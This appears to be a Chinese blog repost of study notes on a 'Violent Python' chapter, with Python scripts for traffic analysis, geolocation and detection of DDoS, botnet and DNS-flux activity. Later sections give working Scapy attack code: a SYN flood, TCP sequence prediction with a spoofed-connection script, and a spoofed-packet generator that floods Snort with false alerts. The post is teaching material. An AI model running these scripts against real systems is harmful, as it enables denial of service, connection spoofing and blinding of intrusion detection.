《Python绝技:运用Python成为顶级黑客》 用Python分析网络流量

1、IP流量将何去何从?——用Python回答:

 

使用PyGeoIP关联IP地址和物理地址:

需要下载安装pygeoip,可以pip install pygeoip

或者到Github上下载安装https://github.com/appliedsec/pygeoip

同时需要下载用pygeoip操作的GeoLiteCity数据库来解压获得GeoLiteCity.dat数据库文件:

http://dev.maxmind.com/geoip/legacy/geolite/

将GeoLiteCity.dat放在脚本的同一目录中直接调用即可。

#!/usr/bin/python
#coding=utf-8
import pygeoip

# 查询数据库相关的城市信息并输出
def printRecord(tgt):
    rec = gi.record_by_name(tgt)
    city = rec['city']
    # 原来的代码为 region = rec['region_name'],已弃用'region_name'
    region = rec['region_code']
    country = rec['country_name']
    long = rec['longitude']
    lat = rec['latitude']
    print '[*] Target: ' + tgt + ' Geo-located. '
    print '[+] '+str(city)+', '+str(region)+', '+str(country)
    print '[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long)

gi = pygeoip.GeoIP('GeoLiteCity.dat')
tgt = '173.255.226.98'
printRecord(tgt)

 

运行结果:

 

使用Dpkt解析包:

需要安装dpkt包:pip install dpkt

dpkt允许逐个分析抓包文件里的各个数据包,并检查数据包中的每个协议层。

#!/usr/bin/python
#coding=utf-8
import dpkt
import socket

def printPcap(pcap):
    # 遍历[timestamp, packet]记录的数组
    for (ts, buf) in pcap:
        try:
            # 获取以太网部分数据
            eth = dpkt.ethernet.Ethernet(buf)
            # 获取IP层数据
            ip = eth.data
            # 把存储在inet_ntoa中的IP地址转换成一个字符串
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            print '[+] Src: ' + src + ' --> Dst: ' + dst
        except:
            pass

def main():
    f = open('geotest.pcap')
    pcap = dpkt.pcap.Reader(f)
    printPcap(pcap)

if __name__ == '__main__':
    main()

 

因为抓取的流量不多,直接使用书上的数据包来测试即可:

 

 接着添加retGeoStr()函数,返回指定IP地址对应的物理位置,简单地解析出城市和三个字母组成的国家代码并输出到屏幕上。整合起来的代码如下:

#!/usr/bin/python
#coding=utf-8
import dpkt
import socket
import pygeoip
import optparse

gi = pygeoip.GeoIP('GeoLiteCity.dat')

# 查询数据库相关的城市信息并输出
def printRecord(tgt):
    rec = gi.record_by_name(tgt)
    city = rec['city']
    # 原来的代码为 region = rec['region_name'],已弃用'region_name'
    region = rec['region_code']
    country = rec['country_name']
    long = rec['longitude']
    lat = rec['latitude']
    print '[*] Target: ' + tgt + ' Geo-located. '
    print '[+] '+str(city)+', '+str(region)+', '+str(country)
    print '[+] Latitude: '+str(lat)+ ', Longitude: '+ str(long)

def printPcap(pcap):
    # 遍历[timestamp, packet]记录的数组
    for (ts, buf) in pcap:
        try:
            # 获取以太网部分数据
            eth = dpkt.ethernet.Ethernet(buf)
            # 获取IP层数据
            ip = eth.data
            # 把存储在inet_ntoa中的IP地址转换成一个字符串
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            print '[+] Src: ' + src + ' --> Dst: ' + dst
            print '[+] Src: ' + retGeoStr(src) + '--> Dst: ' + retGeoStr(dst)
        except:
            pass

# 返回指定IP地址对应的物理位置
def retGeoStr(ip):
    try:
        rec = gi.record_by_name(ip)
        city = rec['city']
        country = rec['country_code3']
        if city != '':
            geoLoc = city + ', ' + country
        else:
            geoLoc = country
        return geoLoc
    except Exception, e:
        return 'Unregistered'

def main():
    parser = optparse.OptionParser('[*]Usage: python geoPrint.py -p <pcap file>')
    parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
    (options, args) = parser.parse_args()
    if options.pcapFile == None:
        print parser.usage
        exit(0)
    pcapFile = options.pcapFile
    f = open(pcapFile)
    pcap = dpkt.pcap.Reader(f)
    printPcap(pcap)

if __name__ == '__main__':
    main()

还是使用之前测试用的数据包:

 

使用Python画谷歌地图:

这里修改一下代码,将kml代码直接写入一个新文件中而不是直接输出到控制台。

#!/usr/bin/python
#coding=utf-8
import dpkt
import socket
import pygeoip
import optparse

gi = pygeoip.GeoIP('GeoLiteCity.dat')

# 通过IP地址的经纬度构建kml结构
def retKML(ip):
    rec = gi.record_by_name(ip)
    try:
        longitude = rec['longitude']
        latitude = rec['latitude']
        kml = (
            '<Placemark>\n'
            '<name>%s</name>\n'
            '<Point>\n'
            '<coordinates>%6f,%6f</coordinates>\n'
            '</Point>\n'
            '</Placemark>\n'
            ) %(ip,longitude, latitude)
        return kml
    except:
        return ' '

def plotIPs(pcap):
    kmlPts = ''
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            srcKML = retKML(src)
            dst = socket.inet_ntoa(ip.dst)
            dstKML = retKML(dst)
            kmlPts = kmlPts + srcKML + dstKML
        except:
            pass
    return kmlPts

def main():
    parser = optparse.OptionParser('[*]Usage: python googleearthPrint.py -p <pcap file>')
    parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
    (options, args) = parser.parse_args()
    if options.pcapFile == None:
        print parser.usage
        exit(0)
    pcapFile = options.pcapFile
    f = open(pcapFile)
    pcap = dpkt.pcap.Reader(f)

    kmlheader = '<?xml version="1.0" encoding="UTF-8"?>\
    \n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n'
    kmlfooter = '</Document>\n</kml>\n'
    kmldoc = kmlheader + plotIPs(pcap) + kmlfooter
    # print kmldoc
    with open('googleearthPrint.kml', 'w') as f:
        f.write(kmldoc)
        print "[+]Created googleearthPrint.kml successfully"

if __name__ == '__main__':
    main()

运行结果:

 

查看该kml文件:

 

接着访问谷歌地球:https://www.google.com/earth/

在左侧选项中导入kml文件:

 

导入后点击任一IP,可以看到该IP地址的定位地图:

 

2、“匿名者”真能匿名吗?分析LOIC流量:

LOIC,即Low Orbit Ion Cannon低轨道离子炮,是用于压力测试的工具,通常被攻击者用来实现DDoS攻击。

使用Dpkt发现下载LOIC的行为:

一个比较可靠的LOIC下载源:https://sourceforge.net/projects/loic/

由于下载源站点已从HTTP升级为HTTPS,即已经无法直接通过抓包来进行请求头的分析了。

#!/usr/bin/python
#coding=utf-8
import dpkt
import socket

def findDownload(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            # 获取TCP数据
            tcp = ip.data
            # 解析TCP中的上层协议HTTP的请求
            http = dpkt.http.Request(tcp.data)
            # 若是GET方法,且请求行中包含“.zip”和“loic”字样则判断为下载LOIC
            if http.method == 'GET':
                uri = http.uri.lower()
                if '.zip' in uri and 'loic' in uri:
                    print "[!] " + src + " Downloaded LOIC."
        except:
            pass

f = open('download.pcap')
pcap = dpkt.pcap.Reader(f)
findDownload(pcap)

这里直接使用书上提供的数据包进行测试:

 

解析Hive服务器上的IRC命令:

下面的代码主要用于检测僵尸网络流量中的IRC命令:

#!/usr/bin/python
#coding=utf-8
import dpkt
import socket

def findHivemind(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            sport = tcp.sport
            # 若目标端口为6667且含有“!lazor”指令,则确定是某个成员提交一个攻击指令
            if dport == 6667:
                if '!lazor' in tcp.data.lower():
                    print '[!] DDoS Hivemind issued by: '+src
                    print '[+] Target CMD: ' + tcp.data
            # 若源端口为6667且含有“!lazor”指令,则确定是服务器在向HIVE中的成员发布攻击的消息
            if sport == 6667:
                if '!lazor' in tcp.data.lower():
                    print '[!] DDoS Hivemind issued to: '+src
                    print '[+] Target CMD: ' + tcp.data
        except:
            pass

f = open('hivemind.pcap')
pcap = dpkt.pcap.Reader(f)
findHivemind(pcap)

同样直接用案例的数据包来测试:

 

实时检测DDoS攻击:

主要通过设置检测不正常数据包数量的阈值来判断是否存在DDoS攻击。

#!/usr/bin/python
#coding=utf-8
import dpkt
import socket

# 默认设置检测不正常数据包的数量的阈值为1000
THRESH = 1000

def findAttack(pcap):
    pktCount = {}
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            # 累计各个src地址对目标地址80端口访问的次数
            if dport == 80:
                stream = src + ':' + dst
                if pktCount.has_key(stream):
                    pktCount[stream] = pktCount[stream] + 1
                else:
                    pktCount[stream] = 1
        except:
            pass

    for stream in pktCount:
        pktsSent = pktCount[stream]
        # 若超过设置检测的阈值,则判断为进行DDoS攻击
        if pktsSent > THRESH:
            src = stream.split(':')[0]
            dst = stream.split(':')[1]
            print '[+] ' + src + ' attacked ' + dst + ' with ' + str(pktsSent) + ' pkts.'

f = open('attack.pcap')
pcap = dpkt.pcap.Reader(f)
findAttack(pcap)

同样直接用案例的数据包来测试:

 

然后将前面的代码整合到一起:

#!/usr/bin/python
#coding=utf-8
import dpkt
import socket
import optparse

# 默认设置检测不正常数据包的数量的阈值为1000
THRESH = 1000

def findDownload(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            # 获取TCP数据
            tcp = ip.data
            # 解析TCP中的上层协议HTTP的请求
            http = dpkt.http.Request(tcp.data)
            # 若是GET方法,且请求行中包含“.zip”和“loic”字样则判断为下载LOIC
            if http.method == 'GET':
                uri = http.uri.lower()
                if '.zip' in uri and 'loic' in uri:
                    print "[!] " + src + " Downloaded LOIC."
        except:
            pass

def findHivemind(pcap):
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            sport = tcp.sport
            # 若目标端口为6667且含有“!lazor”指令,则确定是某个成员提交一个攻击指令
            if dport == 6667:
                if '!lazor' in tcp.data.lower():
                    print '[!] DDoS Hivemind issued by: '+src
                    print '[+] Target CMD: ' + tcp.data
            # 若源端口为6667且含有“!lazor”指令,则确定是服务器在向HIVE中的成员发布攻击的消息
            if sport == 6667:
                if '!lazor' in tcp.data.lower():
                    print '[!] DDoS Hivemind issued to: '+src
                    print '[+] Target CMD: ' + tcp.data
        except:
            pass

def findAttack(pcap):
    pktCount = {}
    for (ts, buf) in pcap:
        try:
            eth = dpkt.ethernet.Ethernet(buf)
            ip = eth.data
            src = socket.inet_ntoa(ip.src)
            dst = socket.inet_ntoa(ip.dst)
            tcp = ip.data
            dport = tcp.dport
            # 累计各个src地址对目标地址80端口访问的次数
            if dport == 80:
                stream = src + ':' + dst
                if pktCount.has_key(stream):
                    pktCount[stream] = pktCount[stream] + 1
                else:
                    pktCount[stream] = 1
        except:
            pass

    for stream in pktCount:
        pktsSent = pktCount[stream]
        # 若超过设置检测的阈值,则判断为进行DDoS攻击
        if pktsSent > THRESH:
            src = stream.split(':')[0]
            dst = stream.split(':')[1]
            print '[+] ' + src + ' attacked ' + dst + ' with ' + str(pktsSent) + ' pkts.'

def main():
    parser = optparse.OptionParser("[*]Usage python findDDoS.py -p <pcap file> -t <thresh>")
    parser.add_option('-p', dest='pcapFile', type='string', help='specify pcap filename')
    parser.add_option('-t', dest='thresh', type='int', help='specify threshold count ')
    (options, args) = parser.parse_args()
    if options.pcapFile == None:
        print parser.usage
        exit(0)
    if options.thresh != None:
        THRESH = options.thresh
    pcapFile = options.pcapFile
    # 这里的pcap文件解析只能调用一次,注释掉另行修改
    # f = open(pcapFile)
    # pcap = dpkt.pcap.Reader(f)
    # findDownload(pcap)
    # findHivemind(pcap)
    # findAttack(pcap)
    with open(pcapFile, 'r') as f:
        pcap = dpkt.pcap.Reader(f)
        findDownload(pcap)
    with open(pcapFile, 'r') as f:
        pcap = dpkt.pcap.Reader(f)
        findHivemind(pcap)
    with open(pcapFile, 'r') as f:
        pcap = dpkt.pcap.Reader(f)
        findAttack(pcap)

if __name__ == '__main__':
    main()

由于这部分作者没有给示例数据包,那就自己来合并上述几个pcap文件,使用命令:

mergecap -a -F pcap -w traffic.pcap download.pcap hivemind.pcap attack.pcap

-a参数指定按照命令顺序来合并各个pcap文件(不添加-a参数则默认按照时间的顺序合并),-F参数指定生成的文件类型,-w参数指定生成的pcap文件。

运行结果:

 

3、H.D.Moore是如何解决五角大楼的麻烦的:

理解TTL字段:

TTL即time-to-live,由8比特组成,可以用来确定在到达目的地之前数据包经过了几跳。当计算机发送一个IP数据包时会设置TTL字段为数据包在到达目的地之前所应经过的中继跳转的上限值,数据包每经过一个路由设备,TTL值就自减一,若减至0还未到目的地,路由器会丢弃该数据包以防止无限路由循环。

Nmap进行伪装扫描时,伪造数据包的TTL值是没有经过计算的,因而可以利用TTL值来分析所有来自Nmap扫描的数据包,对于每个被记录为Nmap扫描的源地址,发送一个ICMP数据包来确定源地址与目标机器之间隔了几跳,从而来辨别真正的扫描源。

 

Nmap的-D参数实现伪造源地址扫描:nmap 192.168.220.128 -D 8.8.8.8

 

Wireshark抓包分析,加上过滤器的条件“ip.addr==8.8.8.8”,发现确实是有用伪造源地址进行扫描:

点击各个数据包查看TTL值:

可以看到默认扫描的Nmap扫描,其ttl值是随机的。

添加-ttl参数指定值为13之后,可以看到发送的数据包的ttl值都为13:

 

用Scapy解析TTL字段的值:

这里使用Scapy库来获取源地址IP及其TTL值。

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

# 检查数据包的IP层,提取出源IP和TTL字段的值
def testTTL(pkt):
    try:
        if pkt.haslayer(IP):
            ipsrc = pkt.getlayer(IP).src
            ttl = str(pkt.ttl)
            print "[+] Pkt Received From: " + ipsrc + " with TTL: " + ttl
    except:
        pass

def main():
    sniff(prn=testTTL, store=0)

if __name__ == '__main__':
    main()

运行脚本监听后,启动Nmap伪造源地址扫描即可看到如下结果:

 

接着添加checkTTL()函数,主要实现对比TTL值进行源地址真伪判断:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *
import time
import optparse
# 为避免IPy库中的IP类与Scapy库中的IP类冲突,重命名为IPTEST类
from IPy import IP as IPTEST

ttlValues = {}
THRESH = 5

# 检查数据包的IP层,提取出源IP和TTL字段的值
def testTTL(pkt):
    try:
        if pkt.haslayer(IP):
            ipsrc = pkt.getlayer(IP).src
            ttl = str(pkt.ttl)
            checkTTL(ipsrc, ttl)
    except:
        pass

def checkTTL(ipsrc, ttl):
    # 判断是否是内网私有地址
    if IPTEST(ipsrc).iptype() == 'PRIVATE':
        return

    # 判断是否出现过该源地址,若没有则构建一个发往源地址的ICMP包,并记录回应数据包中的TTL值
    if not ttlValues.has_key(ipsrc):
        pkt = sr1(IP(dst=ipsrc) / ICMP(), retry=0, timeout=1, verbose=0)
        ttlValues[ipsrc] = pkt.ttl

    # 若两个TTL值之差大于阈值,则认为是伪造的源地址
    if abs(int(ttl) - int(ttlValues[ipsrc])) > THRESH:
        print '\n[!] Detected Possible Spoofed Packet From: ' + ipsrc
        print '[!] TTL: ' + ttl + ', Actual TTL: ' + str(ttlValues[ipsrc])

def main():
    parser = optparse.OptionParser("[*]Usage python spoofDetect.py -i <interface> -t <thresh>")
    parser.add_option('-i', dest='iface', type='string', help='specify network interface')
    parser.add_option('-t', dest='thresh', type='int', help='specify threshold count ')
    (options, args) = parser.parse_args()
    if options.iface == None:
        conf.iface = 'eth0'
    else:
        conf.iface = options.iface
    if options.thresh != None:
        THRESH = options.thresh
    else:
        THRESH = 5

    sniff(prn=testTTL, store=0)

if __name__ == '__main__':
    main()

 

运行脚本监听后,启动Nmap伪造源地址扫描即可看到如下结果:

 

4、“风暴”(Storm)的fast-flux和Conficker的domain-flux:

你的DNS知道一些不为你所知的吗?

下面用nslookup命令来进行一次域名查询:

 

Wireshark抓包如下:

可以看到客户端发送DNSQR请求包,服务器发送DNSRR响应包。

 

 

使用Scapy解析DNS流量:

一个DNSQR包含有查询的名称qname、查询的类型qtype、查询的类别qclass。

一个DNSRR包含有资源记录名名称rrname、类型type、资源记录类别rtype、TTL等等。

 

用Scapy找出fast-flux流量:

解析pcap文件中所有含DNSRR的数据包,提取分别含有查询的域名和对应的IP的rrname和rdata变量,然后建立一个索引字典并对字典中未出现的IP添加到数组中。

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

dnsRecords = {}

def handlePkt(pkt):
    # 判断是否含有DNSRR
    if pkt.haslayer(DNSRR):
        rrname = pkt.getlayer(DNSRR).rrname
        rdata = pkt.getlayer(DNSRR).rdata
        if dnsRecords.has_key(rrname):
            if rdata not in dnsRecords[rrname]:
                dnsRecords[rrname].append(rdata)
        else:
            dnsRecords[rrname] = []
            dnsRecords[rrname].append(rdata)

def main():
    pkts = rdpcap('fastFlux.pcap')
    for pkt in pkts:
        handlePkt(pkt)
    for item in dnsRecords:
        print "[+] " + item + " has " + str(len(dnsRecords[item])) + " unique IPs."
        # for i in dnsRecords[item]:
        #     print "[*] " + i
        # print

if __name__ == '__main__':
    main()

 

用书上的数据包进行测试:

 

用Scapy找出Domain Flux流量:

通常,Conficker会在感染的几小时内生成许多DNS域名,但很多域名都是假的,目的是为了掩盖真正的命令与控制服务器,因而需要寻找的就是那些对未知域名查询回复出错信息的服务器响应包。

这里只检查服务器53端口的数据包,DNS数据包有个rcode字段,当其值为3时表示域名不存在。

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

def dnsQRTest(pkt):
    # 判断是否含有DNSRR且存在UDP端口53
    if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:
        rcode = pkt.getlayer(DNS).rcode
        qname = pkt.getlayer(DNSQR).qname
        # 若rcode为3,则表示该域名不存在
        if rcode == 3:
            print '[!] Name request lookup failed: ' + qname
            return True
        else:
            return False

def main():
    unAnsReqs = 0
    pkts = rdpcap('domainFlux.pcap')
    for pkt in pkts:
        if dnsQRTest(pkt):
            unAnsReqs = unAnsReqs + 1
    print '[!] ' + str(unAnsReqs) + ' Total Unanswered Name Requests'

if __name__ == '__main__':
    main()

书上示例数据包测试结果:

 

5、Kevin Mitnick和TCP序列号预测:

预测你自己的TCP序列号:

TCP序列号预测利用的是原本设计用来区分各个独立的网络连接的TCP序列号的生成缺乏随机性这一缺陷。

 

使用Scapy制造SYN洪泛攻击:

使用Scapy制造一些再有TCP协议层的IP数据包,让这些包TCP源端口不断地自增一,而目的TCP端口513不变。

先确认目标主机开启了513端口,然后进行SYN洪泛攻击:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

def synFlood(src, tgt):
    # TCP源端口不断自增一,而目标端口513不变
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)

src = "192.168.220.132"
tgt = "192.168.220.128"
synFlood(src, tgt)

运行结果:

 

计算TCP序列号:

主要通过发送TCP SYN数据包来从依次收到的SYN/ACK包中计算TCP序列号之差,查看是否存在可被猜测的规律。

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0

    for x in range(1, 5):
        if preNum != 0:
            preNum = seqNum
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        seqNum = ans.getlayer(TCP).seq
        diffSeq = seqNum - preNum
        print '[+] TCP Seq Difference: ' + str(diffSeq)
    return seqNum + diffSeq

tgt = "192.168.220.128"
seqNum = calTSN(tgt)
print "[+] Next TCP Sequence Number to ACK is: " + str(seqNum + 1)

运行结果:

应该是存在问题的,修改一下输出看看:

可以看到preNum的值都为0,应该是代码中的逻辑出现问题了。

稍微修改一下代码:

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0
    # 重复4次操作
    for x in range(1,5):
        # 若不是第一次发送SYN包,则设置前一个序列号值为上一次SYN/ACK包的序列号值
        # 逻辑出现问题
        # if preNum != 0:
        if seqNum != 0:
            preNum = seqNum
        # 构造并发送TCP SYN包
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        # 读取SYN/ACK包的TCP序列号
        seqNum = ans.getlayer(TCP).seq
        if preNum != 0:
            diffSeq = seqNum - preNum
            print "[*] preNum: %d  seqNum: %d" % (preNum, seqNum)
            print "[+] TCP Seq Difference: " + str(diffSeq)
            print
    return seqNum + diffSeq

tgt = "192.168.220.128"
seqNum = calTSN(tgt)
print "[+] Next TCP Sequence Number to ACK is: " + str(seqNum + 1)

运行结果:

可以看到,TCP序列号结果是随机的,即目标主机不存在该漏洞。

 

伪造TCP连接:

添加伪造TCP连接的spoofConn()函数,整合为一体,主要过程为先对远程服务器进行SYN洪泛攻击、使之拒绝服务,然后猜测TCP序列号并伪造TCP连接去跟目标主机建立TCP连接。

这里的代码只是简单实现了当时实现攻击的场景,现在由于TCP序列号的随机性已经比较难进行TCP猜测攻击了。

#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import *

def synFlood(src, tgt):
    # TCP源端口不断自增一,而目标端口513不变
    for sport in range(1024, 65535):
        IPlayer = IP(src=src, dst=tgt)
        TCPlayer = TCP(sport=sport, dport=513)
        pkt = IPlayer / TCPlayer
        send(pkt)

def calTSN(tgt):
    seqNum = 0
    preNum = 0
    diffSeq = 0
    # 重复4次操作
    for x in range(1,5):
        # 若不是第一次发送SYN包,则设置前一个序列号值为上一次SYN/ACK包的序列号值
        # 逻辑出现问题
        # if preNum != 0:
        if seqNum != 0:
            preNum = seqNum
        # 构造并发送TCP SYN包
        pkt = IP(dst=tgt) / TCP()
        ans = sr1(pkt, verbose=0)
        # 读取SYN/ACK包的TCP序列号
        seqNum = ans.getlayer(TCP).seq
        if preNum != 0:
            diffSeq = seqNum - preNum
            print "[*] preNum: %d  seqNum: %d" % (preNum, seqNum)
            print "[+] TCP Seq Difference: " + str(diffSeq)
            print
    return seqNum + diffSeq

# 伪造TCP连接
def spoofConn(src, tgt, ack):
    # 发送TCP SYN包
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514)
    synPkt = IPlayer / TCPlayer
    send(synPkt)

    # 发送TCP ACK包
    IPlayer = IP(src=src, dst=tgt)
    TCPlayer = TCP(sport=513, dport=514, ack=ack)
    ackPkt = IPlayer / TCPlayer
    send(ackPkt)

def main():
    parser = optparse.OptionParser('[*]Usage: python mitnickAttack.py -s <src for SYN Flood> -S <src for spoofed connection> -t <target address>')
    parser.add_option('-s', dest='synSpoof', type='string', help='specifc src for SYN Flood')
    parser.add_option('-S', dest='srcSpoof', type='string', help='specify src for spoofed connection')
    parser.add_option('-t', dest='tgt', type='string', help='specify target address')
    (options, args) = parser.parse_args()
    if options.synSpoof == None or options.srcSpoof == None or options.tgt == None:
        print parser.usage
        exit(0)
    else:
        synSpoof = options.synSpoof
        srcSpoof = options.srcSpoof
        tgt = options.tgt

    print '[+] Starting SYN Flood to suppress remote server.'
    synFlood(synSpoof, srcSpoof)
    print '[+] Calculating correct TCP Sequence Number.'
    seqNum = calTSN(tgt) + 1
    print '[+] Spoofing Connection.'
    spoofConn(srcSpoof, tgt, seqNum)
    print '[+] Done.'

if __name__ == '__main__':
    main()

运行结果:

测试时直接将发包数量设置小一点从而更好地看到输出结果。

 

6、使用Scapy愚弄入侵检测系统:

这里IDS使用的是snort,本小节主要是通过分析snort的规则,制造假的攻击迹象来触发snort的警报,从而让目标系统产生大量警告而难以作出合理的判断。

先来查看snort的ddos规则:

vim /etc/snort/rules/ddos.rules

然后输入:/icmp_id:678 来直接查找

 

看到可以利用的触发警报的规则DDoS TFN探针:ICMP id为678,ICMP type为8,内容含有“1234”。

其他的特征也按照规则下面的构造即可。只要构造这个ICMP包并发送到目标主机即可。

#!/usr/bin/python
#coding=utf-8
from scapy.all import *

# 触发DDoS警报
def ddosTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='1234')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)
    send(pkt, iface=iface, count=count)

src = "192.168.220.132"
dst = "192.168.220.129"
iface = "eth0"
count = 1
ddosTest(src, dst, iface, count)

运行结果:

 

检查snort警报日志,可以看到四个数据包都被IDS检测到并产生了警报:

snort -q -A console -i eth2 -c /etc/snort/snort.conf

 

输入上述命令查看日志期间可能会报错,如:

ERROR: /etc/snort/rules/community-smtp.rules(13) => !any is not allowed

ERROR: /etc/snort/rules/community-virus.rules(19) => !any is not allowed

这时就输入命令:vim /etc/snort/snort.conf,注释掉/etc/snort/rules/community-smtp.rules 和 /etc/snort/rules/community-virus.rules所在行即可。

 

再来查看snort的exploit.rules文件中的警报规则:

vim /etc/snort/rules/exploit.rules

然后输入:/EXPLOIT ntalkd x86 Linux overflow 来查找

可以看到,含有框出的指定字节序列就会触发警报。

为了生成含有该指定字节序列的数据包,可以使用符号\x,后面跟上该字节的十六进制值。注意的是其中的“89|F|”在Python中写成“\x89F”即可。

# 触发exploits警报
def exploitTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
    send(pkt, iface=iface, count=count)

接着伪造踩点或扫描的操作来触发警报。

查看snort的exploit.rules文件中的警报规则:

vim /etc/snort/rules/scan.rules

然后输入:/Amanda 来查找

可以看到,只要数据包中含有框出的特征码即可触发警报。

# 触发踩点扫描警报
def scanTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')
    send(pkt)

    pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')
    send(pkt, iface=iface, count=count)

 

现在整合所有的代码,生成可以触发DDoS、exploits以及踩点扫描警报的数据包:

-s参数指定发送的源地址,这里伪造源地址为1.2.3.4,-c参数指定发送的次数、只是测试就只发送一次即可。

#!/usr/bin/python
#coding=utf-8
import optparse
from scapy.all import *
from random import randint

# 触发DDoS警报
def ddosTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='1234')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0, id=456)
    send(pkt, iface=iface, count=count)

# 触发exploits警报
def exploitTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) / Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) / Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
    send(pkt, iface=iface, count=count)

# 触发踩点扫描警报
def scanTest(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')
    send(pkt)

    pkt = IP(src=src, dst=dst) / UDP(dport=10080) / Raw(load='Amanda')
    send(pkt, iface=iface, count=count)

def main():
    parser = optparse.OptionParser('[*]Usage: python idsFoil.py -i <iface> -s <src> -t <target> -c <count>')
    parser.add_option('-i', dest='iface', type='string', help='specify network interface')
    parser.add_option('-s', dest='src', type='string', help='specify source address')
    parser.add_option('-t', dest='tgt', type='string', help='specify target address')
    parser.add_option('-c', dest='count', type='int', help='specify packet count')
    (options, args) = parser.parse_args()
    if options.iface == None:
        iface = 'eth0'
    else:
        iface = options.iface
    if options.src == None:
        src = '.'.join([str(randint(1,254)) for x in range(4)])
    else:
        src = options.src
    if options.tgt == None:
        print parser.usage
        exit(0)
    else:
        dst = options.tgt
    if options.count == None:
        count = 1
    else:
        count = options.count

    ddosTest(src, dst, iface, count)
    exploitTest(src, dst, iface, count)
    scanTest(src, dst, iface, count)

if __name__ == '__main__':
    main()

运行结果:

 

可以看到,一共发送了8个数据包。

切换到目标主机的snort进行警报信息查看,可以看到,触发了8条警报,且源地址显示的是伪造的IP:

转载于:https://www.cnblogs.com/LyShark/p/9100005.html

  • 0
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值